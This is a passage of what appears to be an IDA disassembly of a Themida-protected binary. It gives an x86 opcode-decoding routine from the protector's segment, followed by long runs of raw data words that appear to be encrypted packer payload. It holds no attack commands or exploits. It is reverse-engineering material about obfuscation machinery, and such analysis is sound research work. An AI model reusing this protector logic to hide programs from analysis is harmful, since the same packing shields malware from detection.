ebp jmp loc_598B72 ; --------------------------------------------------------------------------- loc_598B02: ; CODE XREF: Themida_:00598ABCj cmp byte ptr [ebp-2], 0 jnz loc_598B4C cmp byte ptr [ebp-5], 0 jz loc_598B4C mov byte ptr [ebp+0Bh], 2 jmp loc_598B4C ; --------------------------------------------------------------------------- loc_598B1F: ; CODE XREF: Themida_:00598AB5j cmp byte ptr [ebp-2], 0 jnz loc_598B65 cmp byte ptr [ebp-5], 0 jz loc_598B54 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_598B4C mov [ebp+0Bh], cl loc_598B4C: ; CODE XREF: Themida_:00598B06j ; Themida_:00598B10j ... inc byte ptr [ebp+0Bh] jmp loc_598B72 ; --------------------------------------------------------------------------- loc_598B54: ; CODE XREF: Themida_:00598B2Dj cmp dl, 5 jnz loc_598B72 mov [ebp+0Bh], dl jmp loc_598B72 ; --------------------------------------------------------------------------- loc_598B65: ; CODE XREF: Themida_:00598B23j cmp dl, 6 jnz loc_598B72 loc_598B6E: ; CODE XREF: Themida_:00598ACDj mov byte ptr [ebp+0Bh], 3 loc_598B72: ; CODE XREF: Themida_:00598AC3j ; Themida_:00598AFDj ... dec byte ptr [ebp+0Bh] jz loc_598BA0 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_598B82: ; CODE XREF: Themida_:00598B98j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_598B82 mov esi, edx loc_598BA0: ; CODE XREF: Themida_:00598B75j and al, 0FEh cmp al, 0F6h jnz loc_598BD5 cmp edi, 7Fh ja loc_598BD5 test bl, 38h jnz loc_598BD5 cmp byte ptr [ebp-7], 0 jz loc_598BCF movzx eax, byte ptr [ebp-4] jmp loc_598BD2 ; --------------------------------------------------------------------------- loc_598BCF: ; CODE XREF: Themida_:00598BC0j push 1 pop eax loc_598BD2: ; CODE XREF: Themida_:00598BCAj mov [ebp-1], al loc_598BD5: ; CODE XREF: Themida_:00598BA4j ; Themida_:00598BADj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_598BDB: ; CODE XREF: Themida_:00598A85j mov al, bl and eax, 7 sub eax, 4 jz loc_598C06 dec eax dec eax jz loc_598BFC and bl, 7 add [ebp-1], bl jmp loc_598C0E ; --------------------------------------------------------------------------- loc_598BFC: ; CODE XREF: Themida_:00598BEBj mov al, [ebp-3] add al, 6 jmp loc_598C0B ; --------------------------------------------------------------------------- loc_598C06: ; CODE XREF: Themida_:00598BE3j mov al, [ebp-3] add al, 4 loc_598C0B: ; CODE XREF: Themida_:00598C01j add [ebp-1], al loc_598C0E: ; CODE XREF: Themida_:00598BF7j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_598C36 movzx ecx, byte ptr [ebp-1] inc ecx loc_598C21: ; CODE XREF: Themida_:00598C30j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_598C21 loc_598C36: ; CODE XREF: Themida_:00598C16j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLLJ db '▀п▀юj',0 db 55h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 8377D7F6h, 0E416A1BDh, 9750005h, 220DBD83h, 740005E4h dd 8B535019h, 3FCB8C0h, 85890000h, 5E42215h, 0A8EB9D8Dh dd 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h, 3FCB853h dd 85890000h, 5E42215h, 0A5DA9D8Dh, 0D3FF05E6h, 6A585Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 663E23C3h, 4A2CC281h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0B9C35646h, 75B95CB2h, 9599B80Eh, 5E8DAh dd 0ED8A0000h, 0E8BE330Fh, 6, 77796646h, 5AF58227h, 6840F5Bh dd 81000000h, 0D08471D3h, 8AC08B03h, 95BD83FDh, 105E429h dd 4B840Fh, 890F0000h, 7, 18C0Fh, 83FC0000h, 0E41C6DBDh dd 850F0005h, 31h, 10E9h, 852DCA00h, 0B8F80690h, 651B73D3h dd 0E5B6F62h, 65BD8386h, 5E422h, 3E840Fh, 8D0F0000h, 0 dd 3870Fh, 0B70F0000h, 3B7E9D8h, 71BB0000h, 11153Dh, 0F000000h dd 885h, 28A0F00h, 0B6000000h, 6E95043h, 21000000h, 0E24CC36Dh dd 0C3815A1Fh, 258FDFD7h, 18637DAAh, 8BCCCD7Ah, 0FB224D44h dd 0BE10CD03h, 0BE792025h, 0E15AC839h, 0C2F3975Fh, 0FAFBCC6Ah dd 0BE66CC03h, 0E93DC893h, 46E4850Ah, 377B2984h, 4183C404h dd 81C931E9h, 0BE7E0E75h, 175A84Eh, 562FA9E4h, 0BE7AC893h dd 0A1974994h, 0D47F2142h, 0BD929B72h, 9E7AC839h, 37210BC7h dd 3F7EEC12h, 0A67EEC63h, 0FD7AC893h, 0B25B0B9Ah, 3E456995h dd 60CCFD9Dh, 0BE7ADBD1h, 99AD2E9Ch, 9CEF19ECh, 2F61B73Fh dd 56E33DB8h, 0AE93A465h, 0BE7F46EBh, 3F1CC872h, 0E420F9EBh dd 9750817h, 0EC2A989Dh, 0BE7AC5CFh, 0E7358393h, 91D18D80h dd 9D90C551h, 46F06A93h, 54BC762h, 0FAEA17C9h, 0BAF39014h dd 0E97AA203h, 0BE7ACB7Bh, 7D25E8C9h, 9A0641BBh, 9A3E4976h dd 0BE7ADD3Dh, 7D2D8F9Ch, 0AC938222h, 0FF7AC827h, 0B8CE9795h dd 9CB6F1DDh, 85AE4D4Dh, 268A29D3h, 0F27BC7F6h, 0BE1036B8h dd 0BE792018h, 0E05AC827h, 0CAF39650h, 0FAFBCCEDh, 0BE6DCCC0h dd 0E83CC872h, 8CED02FAh, 4D914810h, 0E87AA216h, 0BE7ACBCFh dd 7D24E893h, 9A0E4197h, 9A3E49E0h, 0BE7AD376h, 7D2C8E39h dd 54ADDB9Eh, 0F406388Bh, 3E1A18ACh, 1C6D7Bh, 0BB1B7761h dd 0BE7ACAE8h, 562CC818h, 0BE7AC83Ah, 0E0B996BCh, 0BA5EBCC7h dd 0BA5E8CA6h, 0BE7AC88Eh, 66B99E8Fh, 4B7E78CAh, 0AB8BFE4Eh dd 30527208h, 0B6F1DCAAh, 5628C824h, 0BE7AC824h, 0E4B992B3h dd 0BA5E9C40h, 0BA5E8C65h, 0BE7AC868h, 0F6B99A7Bh, 365468B2h dd 0B292EC0Ah, 327AC827h, 8EB0DCAAh, 659BB2B7h, 0B160DA9Dh dd 0BE7ACBFFh, 6EF1AE39h, 0F6F1AEC6h, 6AC43B2h, 0BE7AC826h dd 0BCF2C76Ah, 347AC8C9h, 0BB92593Ah, 0BE7AC872h, 31805FFBh dd 0BE7ACF74h, 5EAC904Eh, 0CB0ADEC9h, 0E4213519h, 44F09999h dd 352959BFh, 321C92ACh, 0EE7AA2E0h, 0BE7ACB74h, 7D22E84Eh dd 9A3E417Fh, 9A3E4997h, 0BE7AD3CDh, 7D2A88E4h, 3D2C325Eh dd 459AE1EFh, 7CFBAEFCh, 91CC1EBFh, 0BABB3E46h, 0BE814D9Ch dd 0BE10C8C9h, 0BE7920B4h, 0E65AC872h, 0FAF390FAh, 0FAFBCCB8h dd 0BE63CC6Ah, 0EE3AC827h, 4B8E3350h, 3F072365h, 518A163Fh dd 41A9175h, 0E36B0DE2h, 0D64348FDh, 0BF534D41h, 0BE10C827h dd 0BE7920C0h, 0E55AC8C9h, 0E2F39327h, 0FAFBCC56h, 0BE63CC1Dh dd 0ED39C89Ch, 0FFC8148Dh, 47E18C3Ah, 0D47BB118h, 0BD929AC9h dd 9E7AC8E4h, 37200B28h, 3F7EEC6Dh, 0A37EECD8h, 0FC7AC84Eh dd 8F820B75h, 2EB68FDEh, 14B84DEEh, 0A98A8C5Fh, 0BE854918h dd 0B1FAC839h, 0BE7A061Eh, 0E87AA24Eh, 0BE7ACBCFh, 7D24E893h dd 9A0E4197h, 9A3E49E0h, 0BE7AD176h, 7D2C8E39h, 20B76F3Dh dd 3BBDE636h, 0BB936D95h, 0BE7AC892h, 0BEE52130h, 0BE10C8E4h dd 0BE792020h, 0E45AC839h, 0EAF3925Fh, 0FAFBCC6Ah, 0BE6CCC03h dd 0EC38C893h, 3998AC0Ah, 574B0F64h, 0BE7AC805h, 57213068h dd 0BE7AC895h, 729687F6h, 61D34420h, 0BE10919Ch, 0BE79209Eh dd 0E15AC8E4h, 0C2F397B1h, 0FAFBCC1Dh, 0BE61CCB8h, 0E93DC84Eh dd 0F8AD07E4h, 0FDC45A3Fh, 0C7F9AE6Fh, 3A7537EFh, 0BE7AC845h dd 5628C853h, 0BE7AC89Fh, 0E4B9926Eh, 0BA5E9CAEh, 0BA5E8C12h dd 0BE7AC8DEh, 0D9B99AA6h, 0B109BB59h, 3BBD128Eh, 0BB936D2Eh dd 0BE7AC84Fh, 0BE7F4A28h, 0D9C1C893h, 0F63665C6h, 98ED7111h dd 3BF78C5Dh, 0BB936310h, 17FA7511h, 4641CDA7h, 0B14ACF53h dd 553D0142h, 0B7A4483Ch, 2BC74B1Dh, 0BF7F2C5Bh, 0BE254C36h dd 3F1CC89Ch, 3D2D6984h, 5A66A59Ah, 3B75C896h, 0BE7AC884h dd 562CC88Eh, 0BE7AC871h, 0E0B99619h, 0BA5EBC15h, 0BA5E8CCFh dd 0BE7AC830h, 5EB99ED5h, 3D27F60Ch, 5A58AD59h, 3A75C877h dd 0BE7AC87Eh, 562CC8F6h, 0BE7AC84Dh, 0E0B99607h, 0BA5EBC1Ah dd 0BA5E8C48h, 0BE7AC8FDh, 97B99E34h, 35C511A2h, 0BE9F2110h dd 0BE10C84Eh, 0BE792074h, 0E55AC893h, 0E2F3930Ah, 0FAFBCCC0h dd 0BE6CCC56h, 0ED39C839h, 14E22D5Fh, 3D213D1Fh, 5A535D9Ah dd 3B75C996h, 0BE7AC8ACh, 562FC88Eh, 0BE7AC871h, 0E3B99519h dd 0BA5EA415h, 0BA5E8CCFh, 0BE7AC832h, 8BB99DD6h, 0BE76214Ah dd 3D30C8E4h, 4945DB58h, 90B62DD3h, 0D4279360h, 0BD929F4Eh dd 9E7AC827h, 37250BCCh, 3F7EECB5h, 0A87EECA0h, 0F97AC872h dd 6B730B6Eh, 0BFF3C7EFh, 4B7AC84Eh, 74FBAEE4h, 0E6930061h dd 3F7AC8C9h, 8F7E1536h, 0BE109521h, 0BE79206Bh, 0E45AC89Ch dd 0EAF3928Dh, 0FAFBCC03h, 0BE67CCB7h, 0EC38C8C9h, 63705127h dd 73DD693Bh, 0B154B0A7h, 0BE7AC81Eh, 67CDC74Eh, 0EB7AA2E8h dd 0BE7ACB7Bh, 7D27E8C9h, 9A1641B9h, 9A3E4976h, 0BE7AD03Dh dd 7D2F8D9Ch, 0B239A430h, 33A3425Ch, 57DF1F2Eh, 48F745CCh dd 67F214Eh, 0C540946Fh, 0A15B4D0Ah, 7151CD78h, 5D98ED71h dd 103BF78Ch, 11BB9363h, 0A717FA75h, 534641CDh, 42B14ACFh dd 83553D01h, 0A4F305E9h, 0A5B2BD83h, 740005E9h, 308D8D0Dh dd 0B805E44Ch, 1, 6A40E1FFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0FC06C355h, 6CE9C0F3h dd 606B9F14h, 0EE9h, 635D000h, 2A0A740Bh, 61CE16D4h, 81997295h dd 3497B3C7h, 0E2816113h, 39381B67h, 0DCB9DB81h, 0E88352F6h dd 0B966602Dh, 8B61F5B6h, 0AE860C0h, 0C1000000h, 2AD3211Fh dd 2A074A83h, 11E8AFh, 0D5B90000h, 0FF861363h, 8C7EEA76h dd 0BD402976h, 5B37C50Bh, 28A0F58h, 8B000000h, 0BD8361F3h dd 5E416A1h, 83097500h, 0E4220DBDh, 19740005h, 0C08B5350h dd 3FCB8h, 55858900h, 8D05E41Ah, 0E6A9529Dh, 5BD3FF05h dd 0DBD8358h, 5E422h, 53501774h, 3FCB8h, 55858900h, 8D05E41Ah dd 0E6A5F39Dh, 5BD3FF05h, 0F605658h, 81h, 0C2BF0F00h, 80605B61h dd 61F555C1h, 11890Fh, 0CE90000h, 0C0000000h, 0B0CDF93Dh dd 6CDCCDEDh, 0F5817EF9h, 14E8C08Bh, 0D7000000h, 13053C6h dd 0EE524D4Ah, 64BA9230h, 79A2FF52h, 0F4C7A6Bh, 0E8Dh dd 9E900h, 2B4B0000h, 6883D037h, 5994B317h, 0A0E98060h dd 8CC18161h, 0E9000064h, 0Ch, 9C52DBE4h, 0BC9634E0h, 9D67C918h dd 8E9FF2Bh, 0F5000000h, 7F17D451h, 8BF585C0h, 0E8603904h dd 14h, 0ADCB777Dh, 0D37DB32Eh, 4332AC66h, 0CD26CBBAh dd 1DA3F827h, 0D5B2B866h, 53C08158h, 610AFF9Dh, 0A3E7E881h dd 0D9B64F5Fh, 0F47AF081h, 0F604196h, 688h, 880F00h, 61000000h dd 0E780E881h, 8D0F6C39h, 5, 9055E6BEh, 3904893Eh, 0BF0FD08Bh dd 4EF83D7h, 81F7B70Fh, 0FF9C34FFh, 90850FFFh, 8DFFFFFFh dd 0E9ADD88Dh, 29958905h, 8905E417h, 0E410958Dh, 85C7F805h dd 5E42C65h, 6760h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 6BC35646h, 95012403h, 5E42475h, 30FD85C7h dd 5E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 782D4FC3h, 0C187F9D7h, 11B50129h dd 8B05E427h, 0E4209D95h, 0EDB5FF05h, 6A05E431h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0C50C355h, 18A97FF6h, 0DBB2AD2Ch, 2A6195FFh, 6A05E4h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 49AD3CC3h, 2B60C051h, 0E41B358Dh, 68B0F05h, 8B000000h dd 0E402B1BDh, 6A6105h, 10C195FFh, 0C08B05E4h, 0C9D92CEBh dd 70903F96h, 0C6D9A02Fh, 58729AFDh, 0C1C1F46h, 0C4705FE2h dd 477F74FEh, 0C97CC52Eh, 0BA73C413h, 73B021Bh, 3F83F5B5h dd 8EBE367h, 525BE2E4h, 77E7339Ch, 0D5EE9h, 0AFE86800h dd 0A3E905E9h, 68FFFACFh, 5E9B10Bh, 0FACF99E9h, 0B26868FFh dd 8FE905E9h, 68FFFACFh, 5E9B38Eh, 0FACF85E9h, 0B4F968FFh dd 7BE905E9h, 68FFFACFh, 5E9B780h, 0FACF71E9h, 0B92968FFh dd 67E905E9h, 68FFFACFh, 5E9BA20h, 0FACF5DE9h, 255C1FFFh dd 77F078A2h, 880FCA50h, 205B1D05h, 79F065BDh, 0A3F6C156h dd 0A10B732h, 50CACD4Ah, 0A47E619Ah, 6A11B437h, 9468CA3Bh dd 0A6C454EEh, 62D6CCE9h, 69EE28E5h, 0E621037Ch, 50834F04h dd 0E5B2B08Dh, 0C1324F04h, 1DD1C98Ch, 99A329E2h, 41345BD2h dd 6BB71694h, 0C2A56EE9h, 0E8FD1CFDh, 1FB78354h, 0AFFA45BBh dd 5996034Ch, 49BA9A1Dh, 6E31E28Ch, 0B9363304h, 155DB930h dd 0D3F952C0h, 0AB24A8F2h, 8692211h, 54E9C026h, 10D9D9A1h dd 33F9A733h, 9290ED4Ch, 1254E9B7h, 0B7F072B3h, 8B4C54E9h dd 575F7C56h, 7BFC8E5h, 3F134Ah, 0D8BA0000h, 0D52AED6Fh dd 54E90860h, 0DFF502DCh, 99595A4Bh, 0A7B221BDh, 3E73ABD8h dd 90B3B5AAh, 9C5154E9h, 0BA0E894Ch, 0E6045489h, 0CAE7F572h dd 6178B0F0h, 0F3509999h, 6433F973h, 0CDh, 50C077B3h, 0CB2921B3h dd 99336444h, 557D283h, 16F970E7h, 3CF18A3Ch, 0D1BA6121h dd 73EA61FBh, 655E936Ch, 31A64F05h, 0A7FBD7B6h, 7E621D24h dd 958D10FDh, 5815A726h, 0CBAA6DEFh, 57E78FAh, 1F1AF44Fh dd 1106A17Fh, 0FC430C41h, 0E918B283h, 0BE211254h, 0CD9012CBh dd 1913116Eh, 5E9154E9h, 362D12F5h, 425ACFC2h, 44B932B8h dd 59D09981h, 7CF129FCh, 9B3C39DCh, 0D2015BDEh, 7099F3F8h dd 0D382983Fh, 9B251754h, 3E9A2220h, 0AF677h, 0A5DC9F00h dd 0F770F822h, 88F4AD0h, 0A0DB9D85h, 0F970E53Dh, 237641D6h dd 8A9037B2h, 0D04A4DCAh, 24FEE11Ah, 0EA9134B7h, 94E84ABBh dd 264454EEh, 62C67769h, 9D0075F2h, 3057D685h, 0ED6FD8A7h dd 860D52Ah, 1B0754E9h, 7571DA5Dh, 37CC382h, 54E90821h dd 0E6F275E3h, 64BE716Dh, 3E9A77F0h, 4BCE8B97h, 2809C271h dd 54E90846h, 30F93981h, 33F8EB53h, 0B84366Ch, 0F1174Eh dd 6AB00000h, 0E65D6FE8h, 0C077AC2Dh, 64E97349h, 0D65070F4h dd 93EF2354h, 0DA09A326h, 76CC26E9h, 3464C8BAh, 0BDA236E3h dd 4F05178Ch, 0EB61C388h, 82983F70h, 5F0652D5h, 0EA587F8h dd 0D4074F05h, 5CC7B07Bh, 9F4C421Ah, 24EBDCC0h, 0E9A26ADBh dd 4609CA54h, 4F1D9E5Ch, 48BD3CBDh, 9DBAB885h, 0F93A54E9h dd 413E891Ch, 17231CC3h, 7D5AD044h, 2E74DBBAh, 0A99A2EA9h dd 0B433A2ECh, 92D3B211h, 4F070390h, 0F4AD72BCh, 0BB27EB88h dd 0C2739F78h, 0A86FE86Eh, 751D557h, 0B3E4574Fh, 20706C0Ah dd 64CD8F22h, 9D3h, 5D40FB7Ch, 0F39215C5h, 0A027A217h dd 587FF87Ah, 0F19413C2h, 4D009924h, 0E757B3D2h, 3FBD6568h dd 4A0119BCh, 5635CCD3h, 0EE970B69h, 44136954h, 444BC677h dd 0BBB98665h, 0E24F04E5h, 4E59F9Dh, 0A0DA1D4Fh, 0F378A26Fh dd 77805578h, 0E97349C0h, 91E4EB62h, 9EE7A624h, 54E90F2Dh dd 89EBD489h, 0EB54E90Fh, 62E5F728h, 54E90EFDh, 458CF456h dd 33F8F5FEh, 6A06Fh, 84F95800h, 54E906A6h, 5378D506h dd 2AED6FD8h, 0E91134D5h, 0EDFF3054h, 0E90FF47Ah, 878B5F54h dd 0F8F6F54Eh, 6776633h, 0CCB10000h, 42E377E6h, 51FFF7Dh dd 50BA7D4Fh, 0B31CDDBFh, 0CA8D0FF8h, 0E974CCF5h, 0A067A854h dd 1A61FF7Ah, 913EAC1Eh, 0D67444B9h, 0DBB4E966h, 0BCAD0F1h dd 7CE2C38Ch, 0D754E92Ah, 7DC60F73h, 633F911h, 90062E2Ch dd 0C790AE53h, 62888h, 5E48CF00h, 9679FBB4h, 0E91010A9h dd 0E5B36454h, 0FE397D9Ah, 0D27936E0h, 1ED5E760h, 0F8156A2Dh dd 74DEDA11h, 1EAA2DAAh, 10EC4EB7h, 8748DB1Ah, 0A4B6152h dd 10D85AABh, 0E354DB1Ah, 88A4336h, 3E07E645h, 0DB1A113Ch dd 8DA257E8h, 8B21115h, 0D7250AC7h, 35E0FEE5h, 500703C2h dd 0EF6CB6D9h, 0DD194F6Ch, 7ADE9830h, 876BBh, 255C1F00h dd 77F078A2h, 880FCA50h, 205B1D05h, 79F065BDh, 0A3F6C156h dd 0A10B732h, 50CACD4Ah, 0A47E619Ah, 6A11B437h, 9868CA3Bh dd 0A6C454EEh, 66D6CCE9h, 0B760D3E9h, 5F6DEC6Bh, 5037B562h dd 0EE94186Fh, 2CB36454h, 0EE947DD3h, 0BEE8AE54h, 0AC1FBE39h dd 329174FEh, 783816D8h, 0F36078F3h, 75FBFFA7h, 0FC7745C4h dd 8BE1CE8Bh, 0E954EE0Eh, 0C3889226h, 86F84548h, 3554EE0Eh dd 20ED6CEDh, 0D0F770E6h, 0BE0A8D4Ah, 0EDFDA789h, 41412B54h dd 0E94BB41Bh, 4B491BBDh, 14C3CF88h, 7793F295h, 0BF3F4BC6h dd 0DEBBA800h, 348407B4h, 1BCE2D33h, 0EA65D749h, 118A4CDEh dd 545C2EBBh, 367AC09Ch, 26E960D7h, 15FE79FCh, 13BF372h dd 771A0000h, 0E97349C0h, 6FD0E863h, 4F04E60Dh, 8AE8D5B4h dd 0EA4F04E6h, 0B5226C29h, 83375332h, 2296B404h, 0CC2670A5h dd 95D91E2Ah, 0A21FBD16h, 0BA9077F5h, 0D4C4D27Eh, 25EE6AA3h dd 3582014Dh, 0B42FA1FDh, 83622F24h, 0EF82CBA2h, 0E7C43754h dd 1C399BBBh, 50258C4Ch, 0F9000007h, 42D8FF76h, 948E1196h dd 0E723A225h, 4FDBFA75h, 9B8C138Eh, 51C88D1Ch, 0E760D44Eh dd 3BBC3AE0h, 4EC98E94h, 0ECD1B04Fh, 54EE998Eh, 77C398EEh dd 0E97349C0h, 0C02AED64h, 0C050160Eh, 13B21FC0h, 68E7564Ch dd 0EC36E350h, 30EAED6Eh, 2DA429BBh, 17F6D5F8h, 5874C2Eh dd 0AA67A84Fh, 9372ED60h, 7349C077h, 42201DC0h, 0A24F0587h dd 0AD34A471h, 0EF61C375h, 77E70374h, 42F31FF8h, 5A1A00C7h dd 900BC1DDh, 0A4E0B38h, 6E72B7Fh, 1D75D857h, 0CEE6478h dd 0FB8A4714h, 150C3C07h, 7AD2Eh, 2CE80000h, 7Fh, 49C0777Bh dd 0F66ACC73h, 2E84F04h, 0C178FF1Eh, 311341Eh, 88662BB3h dd 0F462B8CFh, 81E65973h, 0FC4F0523h, 3E643E62h, 0BAA903BCh dd 8407B5D1h, 0F678A201h, 1BF46F7Dh, 46C177B2h, 0B38C5372h dd 4F04E5B1h, 9D5C4763h, 4A74ADFBh, 14C2CC89h, 0DEAC3993h dd 259288D2h, 2FADE9A2h, 5CD429ACh, 914F05E5h, 14166FCEh dd 904F05E5h, 0C280F25Fh, 2B2E15CBh, 0FFFFFE87h, 36F2C62h dd 777B0000h, 0CC7349C0h, 4F04E67Ah, 0F01111F9h, 0FEDDC07Bh dd 0E644261Fh, 6FA04F04h, 78F378A2h, 4ACD8D95h, 2214CB81h dd 0E24F04E6h, 0EBE6F275h, 90EDB032h, 54EE939Dh, 0EF91D619h dd 441C392Eh, 5E52D94h, 0CD8E0000h, 63D73352h, 0B039E1E4h dd 0CA8C9639h, 61D44E51h, 8736E7E6h, 0A124A312h, 5B7AF579h dd 0F8E09CFh, 0A225A413h, 0F97B441Bh, 7B54EE99h, 0E6CC560Dh dd 0DD7DA2EBh, 65E453A6h, 0BC3B6730h, 8D405A3Dh, 913B912h dd 50CACD44h, 0A57D609Bh, 1923B930h, 7D8FDD54h, 0D26840FBh dd 1FD4E463h, 7CFE5203h, 663A8EC3h, 0C5549C84h, 6CF2341Eh dd 4B5EEC54h, 3DDCC48Eh, 0AC9E01B8h, 2E154DD7h, 2A800h dd 62D85700h, 12F1D0E8h, 4E64F2Dh, 0A16AAD4Fh, 0F3E4CC40h dd 0FF23874Dh, 3CB4D36h, 287BE2Dh, 482F0000h dd 0F3DBF577h, 2AA5174Dh, 0F639A59Eh, 62D8BC1Dh, 549712F1h dd 0B72781D5h, 3392C738h, 53A70F2h, 4E0B174Fh, 0BE39BFCBh dd 5266A9D5h, 0D153AC73h, 534F0539h, 56CE37E0h, 424DF439h dd 0BCBE8792h, 384DF38Fh, 143682F7h, 0CE9226A1h, 0DDEC246Ch dd 0ADA99CF6h, 7B4DE01Bh, 5CC349Eh, 2D02DF3Eh, 220AFh dd 0E6CCEE00h, 6103FCBDh, 0E0B1E32Ah, 8197E02Ah, 2A905B34h dd 0A680FDA0h, 0D54F057Bh, 0C49108CDh, 0FC6379BAh, 4DF47B68h dd 79236F3Bh, 652EA921h, 3353211h, 1E75B2Dh, 0D8F20000h dd 0D825E862h, 4F04E662h, 3B5D1109h, 0D01C0DA6h, 8EDA0F1Dh dd 0AFFEF855h, 7444C373h, 0E1A486FFh, 0CF004F05h, 519CE9Ah dd 5C4DF4E1h, 3AD2D75h, 3EE1D255h, 0F2E863C1h, 450EC14Dh dd 73D01919h, 0E42D02CFh, 19Dh, 50C07733h, 0FD7C8ACAh dd 5765564Dh, 22A5140Eh, 2FAE2D69h, 0E260DDA8h, 94465C23h dd 8892411Bh, 0A68F48C3h, 54E91261h, 0C1065285h, 54E8E65Fh dd 0D91010EAh, 33F8CD6Ah, 3893h, 0E6CC3A00h, 74C47C7Eh dd 0B306D336h, 609B51FAh, 0E7A69B48h, 0E9AAA59Eh, 8ADE1154h dd 0B719DFCBh, 3E358702h, 3D2300CDh, 8854E967h, 3C07CE32h dd 0AD33F94Ah, 0D4h, 49C077E8h, 0ED64E973h, 168E4DDFh dd 0CC96C634h, 5D2B67F0h, 9B2F8F0Eh, 9EF45B8Ch, 4AE8A372h dd 0A028E571h, 0C773DD9Ah, 35B22640h, 547BACA7h, 51B56EBh dd 7995E4Fh, 0B1D0418Ah, 16F92ABAh, 0E6AD603Ch, 9972F6D5h dd 78FAB306h, 2E1EA895h, 45AD54ECh, 0A67F97E9h, 72F90532h dd 0A3941EFBh, 42201DFCh, 0A254EBCBh, 5B5D2571h, 69BBEAE3h dd 0CC1D9ACh, 0A528F295h, 0F30D8D2Ah, 9A3E1C3Bh, 35EDBh dd 0CD44F700h, 1F9850CAh, 0B037A278h, 0C843F52Dh, 61985DC5h dd 9B0EA97Eh, 0E2385FDAh, 48D2F572h, 9C860982h, 82395CDFh dd 9D80E2C3h, 8EFC54EEh, 4BC677D1h, 8719DE44h, 10E15C5Bh dd 0E753AFEFh, 0A69B4860h, 0BC3BBBE7h, 0DE591E2Ch, 0C89D20EDh dd 7349C077h, 0E4EB62E9h, 0FD70AD85h, 902605Dh, 0B1624F05h dd 79FFDE65h, 81D2579Ch, 209D4F05h, 0DD82E3A2h, 8254E9B2h dd 0AF0F2DA8h, 2D26B22Dh, 0B2A03CE1h, 3F348403h, 0B26501CAh dd 9000B7D3h, 1193F951h, 6379AA05h, 218027F0h, 0A4FF42C9h dd 0DBB45D17h, 49C077F2h, 5CDF9C86h, 5E7AD70Ch, 98C0FCCh dd 9C43C1BEh, 0E8FC5EA3h, 7558654h, 1691445Eh, 0FFC49142h dd 54E8FC79h, 0C30A76D4h, 33F8E380h, 48E9h, 6FD82C00h dd 60D52AEDh, 754E908h, 8ADE591Bh, 6943FC70h, 0D04D89FAh dd 33D676ABh, 0FD3EB815h, 0CBF678EFh, 895154E9h, 7B7D389h dd 56033088h, 0F9AF1F64h, 0FE7AA033h, 0AE271860h, 0D20757CCh dd 0D5804D86h, 0CFh, 49C07700h, 5ED99C86h, 5C7CD90Ah, 0C2890FCEh dd 8CBF240Eh, 8B912B1Ch, 75F664CCh, 2592A800h, 2DC223A2h dd 694F057Ah, 0A2F972E2h, 502ADA6Fh, 984B619Ah, 0B75372A7h dd 92338900h, 73CC5B8h, 16C38E88h, 0A568EAA3h, 0E9942B58h dd 0C5C80B54h, 0C08705F2h, 0D01DCBFFh, 0A766A95Ah, 987FFA7Bh dd 174DD382h, 969EA9A0h, 942BE4D9h, 0F168ED35h, 58A568DBh dd 4F0727DAh, 0D23C995Ah, 0B9C7E463h, 8E22209Ah, 1B56BCAh dd 9D5E0000h, 33A76362h, 400911B4h, 9A5CC6C9h, 31A47E61h dd 0B70617B6h, 0D1F473E2h, 8B0A8549h, 3F5ED99Fh, 0D2F574E3h dd 290B742Bh, 8B54EE9Fh, 0C677A6FDh, 19DE444Bh, 0B298FF9Eh dd 79FC4496h, 0CD2094FEh, 0CCE5F25Fh, 0E612106Dh, 0A1924F04h dd 0CA4805F4h, 8413A0Bh, 7ABD54E9h, 877F96Eh, 0F3D254E9h dd 0C23B6A7h, 5332EC99h, 0E9931012h, 0EEAB6C54h, 0E75BCE4h dd 7F33F976h, 0BAh, 49C0779Eh, 0C464E973h, 9A39417h, 4EB21D6h dd 77F6654Fh, 0AD927150h, 4F04E9CFh, 0E521EA2Dh, 1A186576h dd 0FA4F04EAh, 76EDFF78h, 0FF7F8B4Ch, 86FB6840h, 4CCE8732h dd 407B489h, 0B46754E9h, 6BE9A611h, 0A9C85BA4h, 6BAC5ACFh dd 59FF7EA4h, 74490A7Ch, 4F07BBF6h, 0C3498576h, 27A615D4h dd 41E81F2h, 0A9BCCF51h, 0D612790Eh, 0CBE2C4E5h, 0C7952220h dd 0BE7Eh, 6DE45700h, 0BF38B06Ah, 0D0570218h, 68E355CDh dd 8138BD65h, 0FBAE091Eh, 42D8FF7Ah, 0A8721592h, 0FC26A922h dd 22D9FC7Fh, 0A0200263h, 0EE9C54EEh, 0D9C677B1h, 4E686E4h dd 0C035E64Fh, 179645DDh, 0C077E770h, 0DD9C8649h, 41DBF15Ah dd 2D8C138Ah, 0F4C447F5h, 6E27927Fh, 5DD429ECh, 254EE94h dd 7DD65118h, 102ABE71h, 9E7D205Bh, 0EE93C3A1h, 25EE2154h dd 58D39882h, 0EDB4DF00h, 9EE8ACA0h, 45C47392h, 9813D842h dd 16B83AC0h, 0E84ABBA6h, 44A160DCh, 0D90A5E93h, 0AE74D4E4h dd 0ED23862h, 0E087B431h, 0A82F6B24h, 0C774AE31h, 0C8D7444h dd 0D8000000h, 6373E6CCh, 0C98E6EF5h, 77DA730Ch, 